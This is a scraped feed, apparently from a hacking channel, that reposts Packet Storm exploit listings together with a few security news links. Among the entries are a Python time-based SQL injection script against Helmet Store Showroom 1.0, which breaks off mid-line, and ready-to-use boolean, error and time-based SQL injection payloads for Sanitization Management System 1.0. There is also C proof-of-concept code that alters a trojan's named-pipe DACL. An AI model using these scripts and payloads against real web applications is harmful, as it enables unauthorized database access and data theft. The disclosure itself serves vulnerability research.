Exploit Collector
XNU vm_object Use-After-Free

https://2.bp.blogspot.com/-ByzpbsJwjwM/WWlvDah6qTI/AAAAAAAAIKw/aSK5mfOx92wd9uyx7MAye8LQyS91plczwCLcBGAs/s1600/h13.png
XNU suffers from a vm_object use-after-free vulnerability due to invalid error handling in vm_map_enter.

SHA-256 | 5ef6c77b173e377d874346d025662d6a74af50dd2789a4af20f0430f362f87df

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Helmet Store Showroom 1.0 SQL Injection

https://3.bp.blogspot.com/-DuI_c3FaBwQ/WWlvaHZ97uI/AAAAAAAAIO8/N3071iSnuSkvxUt6NQQ_hoJeYx39DTurQCLcBGAs/s1600/h61.png
Helmet Store Showroom version 1.0 suffers from an authenticated remote SQL injection vulnerability.

SHA-256 | 3e66b115ba8748f4ad2101302dc9ed47242e049cd2dfe657bde160d836d22cee

Download
# Exploit Title: Helmet Store Showroom 1.0 - authenticated SQL Injection
# Date: 25-11-2022
# Exploit Author: syad
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/15851/helmet-store-showroom-site-php-and-mysql-free-source-code.html
# Version: 1.0
# Tested on: Windows 10 + XAMPP 3.2.4
# CVE ID : N/A

# Description

# The id parameter does not perform input validation on the view_product.php file it allow authenticated Time Based SQL Injection.
import requests
import sys
import pyfiglet
sess = requests.Session()
proxies = {"https": "https://127.0.0.1:8080", "http": "http://127.0.0.1:8080"}

def login1(ip,username,password):
x = "http://%s/hss/classes/Login.php?f=login" % ip
login = {'username':username, 'password':password}
r = sess.post(x, data=login, proxies=proxies)
#print(r.content)
def login(ip):
x = ("http://%s/hss/admin") % ip
r = sess.get(x,proxies=proxies)
if "Welcome to Helmet Store Showroom - PHP" in r.text:
print("--------------------------------------------")
print("[+] Success Login")
def detect_sql(ip):
x = "http://%s/hss/admin/?page=products/view_product&id=2'" % ip
r = sess.get(x,proxies=proxies)
if "You have an error in your SQL syntax" in r.text:
print("[+] Found SQL Error")
def time_based_sqli(ip):
x = "http://%s/hss/admin/?page=products/view_product&id=2'+or+sleep(5)--+-" % ip
r = sess.get(x,proxies=proxies)
print("[+] Time Based SQL Found")
print("[*]!!! Time To Report !!!")
if __name__ == "__main__":
result = pyfiglet.figlet_format("PWN")
print(result)
try:
ip = sys.argv[1].strip()
username = sys.argv[2].strip()
password = sys.argv[3].strip()
except IndexError:
print("[-] Usage %s
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Trojan.Win32.DarkNeuron.gen MVID-2022-0661 Named Pipe NULL DACL

https://3.bp.blogspot.com/-m8d6k5PvpEU/WWlvYbY80xI/AAAAAAAAIOk/9YRDlN0af5krj_sxTfYJBUTX80Cs4dJKgCLcBGAs/s1600/h56.png Trojan.Win32.DarkNeuron.gen malware creates an IPC pipe with a NULL DACL allowing RW for the Everyone user.

SHA-256 | 419a95e24053a48a5b8a151771f5d30d68d5dbe8ac113c538ae6b1f007c00d2aDownload Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/d891c9374ccb2a4cae2274170e8644d8.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Backup media: infosec.exchange/@malvuln

Threat: Trojan.Win32.DarkNeuron.gen
Vulnerability: Named Pipe Null DACL
Family: DarkNeuron (Turla Group)
Type: PE32
MD5: d891c9374ccb2a4cae2274170e8644d8
Vuln ID: MVID-2022-0661
Disclosure: 11/24/2022
Description: The malware process "NCSC.exe" creates an IPC pipe with a NULL DACL allowing RW for the Everyone user group.

\\.\Pipe\Winsock2\baseapi_http
RW Everyone
RW BUILTIN\Administrators

Local low privileged users can modify the DACL to remove rights for the Everyone users group, denying access to use the pipe for further RW interprocess communications.

Exploit/PoC:
#include "windows.h"
#include "stdio.h"
#include "accctrl.h"
#include "aclapi.h"

/*
Trojan.Win32.DarkNeuron.gen (Turla Group) NCSC.exe
MD5: d891c9374ccb2a4cae2274170e8644d8
NamedPipe Exploit Deny Access to Everyone
By Malvuln
Nov of 2022
**/

#define VULN_TROJAN_PIPE "\\\\.\\pipe\\Winsock2\\baseapi_http"

int main(void){

HANDLE hPipe = CreateFileA((LPCSTR)VULN_TROJAN_PIPE, GENERIC_WRITE | WRITE_DAC, 0, NULL, OPEN_EXISTING, NULL, NULL);
PACL pOldDACL = NULL;
PACL pNewDACL = NULL;

if (hPipe == INVALID_HANDLE_VALUE){
printf("%d", GetLastError());
return 1;
}

if(GetSecurityInfo(hPipe, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, &pOldDACL, NULL, NULL) != ERROR_SUCCESS){
printf("%d", GetLastError());
return 1;
}

TRUSTEE trustee[1];
trustee[0].TrusteeForm = TRUSTEE_IS_NAME;
trustee[0].TrusteeType = TRUSTEE_IS_GROUP;
trustee[0].ptstrName = TEXT("Everyone");
trustee[0].MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE;
trustee[0].pMultipleTrustee = NULL;

EXPLICIT_ACCESS explicit_access_list[1];
ZeroMemory(&explicit_access_list[0], sizeof(EXPLICIT_ACCESS));

explicit_access_list[0].grfAccessMode = DENY_ACCESS;
explicit_access_list[0].grfAccessPermissions = GENERIC_ALL;
explicit_access_list[0].grfInheritance = NO_INHERITANCE;
explicit_access_list[0].Trustee = trustee[0];

if(SetEntriesInAcl(1, explicit_access_list, pOldDACL, &pNewDACL) != ERROR_SUCCESS){
printf("%d", GetLastError());
return 1;
}

if(SetSecurityInfo(hPipe, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDACL, NULL) != ERROR_SUCCESS){
printf("%d", GetLastError());
return 1;
}else{
printf("Trojan.Win32.DarkNeuron.gen (Turla Group) PWNED!\n");
printf("By Malvuln\n");
printf("Nov of 2022\n");
}

LocalFree(pNewDACL);
LocalFree(pOldDACL);
CloseHandle(hPipe);

system("pause");

return 0;
}
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). Source:packetstormsecurity.com

Exploit Collector
Win32.Ransom.Conti MVID-2022-0662 Cryptography Logic Flaw

https://1.bp.blogspot.com/-_z3KH6wgATQ/WWlvetqx6oI/AAAAAAAAIP0/wJ_a-RmXRcUnD9obiJAgo7XfY0pS1AZPwCLcBGAs/s1600/h82.png
Win32.Ransom.Conti ransomware fails to encrypt non PE files that have a ".exe" in the filename. Creating specially crafted file names successfully evaded encryption for this malware sample.

SHA-256 | d9c0e9406b722512df44cebb17c86eb5064420bbea72fa35eda62ac98a591282

Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/99e55ce93392068c970384ab24a0e13d.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Backup media: infosec.exchange/@malvuln

Threat: Win32.Ransom.Conti
Vulnerability: Crypto Logic Flaw
Description: Conti ransomware FAILS to encrypt non PE files that have a ".exe" in the filename. Creating specially crafted file names successfully evaded encryption for this malware sample, others variants are unknown as they were not yet tested.

E.g.

Test.exe.docx
Test.exe.pdf

Tested successfully in a virtual machine environment.

Family: Conti
Type: PE32
MD5: 99e55ce93392068c970384ab24a0e13d
Vuln ID: MVID-2022-0662
Disclosure: 11/25/2022

Video PoC URL:
https://www.youtube.com/watch?v=rjxCII_e6xQ

Exploit/PoC:
Create files with ".exe" within the filename.
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Chrome blink::LocalFrameView::PerformLayout Use-After-Free

https://2.bp.blogspot.com/-Nz8u9CyJbsU/WWlveW9d4WI/AAAAAAAAIPw/tdSVtwWBcYIHlgRN6nbdKVd_fE-UdNKsACLcBGAs/s1600/h80.png
Chrome suffers from a heap use-after-free vulnerability in blink::LocalFrameView::PerformLayout due to an incomplete fix for CVE-2022-3199.

SHA-256 | ede5dbd6ee9c5895a1b02c8bc6cefd5dfe9adef84fd2fceb45bd3140cd0fa16b

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Sanitization Management System 1.0 SQL Injection

https://1.bp.blogspot.com/-ioJ53oCx49I/WWlvK_l1r2I/AAAAAAAAIMA/qrzTnRYsG8QUcC_eXdokNXQ8WpqzEpJrACLcBGAs/s1600/h16.png
Sanitization Management System version 1.0 suffers from a remote SQL injection vulnerability.

SHA-256 | 39bd4db5322551bf2f3e4a1e63de61d1cb2d6e5fe74ab17933fcdeaed9628c41

Download
## Title: SMS - PHP (by: oretnom23 ) v1.0 SQLi
## Author: nu11secur1ty
## Date: 11.25.2022
## Vendor: https://github.com/oretnom23,
https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/download-code?nid=15770&title=Sanitization+Management+System+Project+in+PHP+and+MySQL+Free+Source+Code
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Sanitization-Management-System-1.0

## Description:
The `id` parameter appears to be vulnerable to SQL injection attacks.
The attacker can get all information from this system by using this
vulnerability.

## STATUS: HIGH Vulnerability - CRITICAL

[+] Payload:

```MySQL
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: p=services/view_service&id=126664801' or '5968'='5975' OR
NOT 5461=5461 AND 'gEud'='gEud

Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: p=services/view_service&id=126664801' or '5968'='5975' OR
(SELECT 5753 FROM(SELECT COUNT(*),CONCAT(0x7176707671,(SELECT
(ELT(5753=5753,1))),0x71767a7071,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'DEYy'='DEYy

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: p=services/view_service&id=126664801' or '5968'='5975'
AND (SELECT 6369 FROM (SELECT(SLEEP(5)))Rnfu) AND 'PUfi'='PUfi

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Sanitization-Management-System-1.0)

## Proof and Exploit:
[href](https://streamable.com/rnfvjf)

## Time spent
`00:30:00`


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
XNU Dangling PTE Entry

https://3.bp.blogspot.com/-SgyDIXUTMbc/WWlu_miSAcI/AAAAAAAAIKE/fKFdSswhFNIqExJ_09QJseTEI_nz_ynRACLcBGAs/s1600/h119.png
XNU suffers from a dangling PTE entry due to integer truncation when collapsing vm_object shadow chains.

SHA-256 | 29e4042cd9a0b7666d0b7fda5c45703a1a078adf7f5202670b30f28e36559698

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Introduction to RCE Exploitation (webinar)
https://www.reddit.com/r/Pentesting/comments/z4m9mp/introduction_to_rce_exploitation_webinar/

___________________________
@hacking_Attack
@Hacking_Video

submitted by /u/B4n4n4B0x (https://www.reddit.com/user/B4n4n4B0x)
[link] (https://youtu.be/fPUdcyHITco) [comments] (https://www.reddit.com/r/Pentesting/comments/z4m9mp/introduction_to_rce_exploitation_webinar/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Dispositivos Dell, HP y Lenovo encontrados con versiones de OpenSSL obsoletas

https://cdn-images-1.medium.com/max/1236/0*yAxnw_IMAEPchZaH
Un análisis de imágenes de firmware en dispositivos de Dell, HP y Lenovo reveló la presencia de versiones desactualizadas de la biblioteca…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Attackers exploited discontinued web server at Tata Power

https://cdn-images-1.medium.com/max/602/0*PO45OgpXTNA7BRjH.jpg
Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Top five Cyber Threat Intel stories of the week: 11/21 to 11/25/2022

https://cdn-images-1.medium.com/max/1000/0*S8_2HnNcKYV1YTjK
Top 5 general threat intelligence stories of the week. This is from TLP white/open-source websites, so please feel free to share with…

Continue reading on Hunter Strategy »

___________________________
@hacking_Attack
@Hacking_Video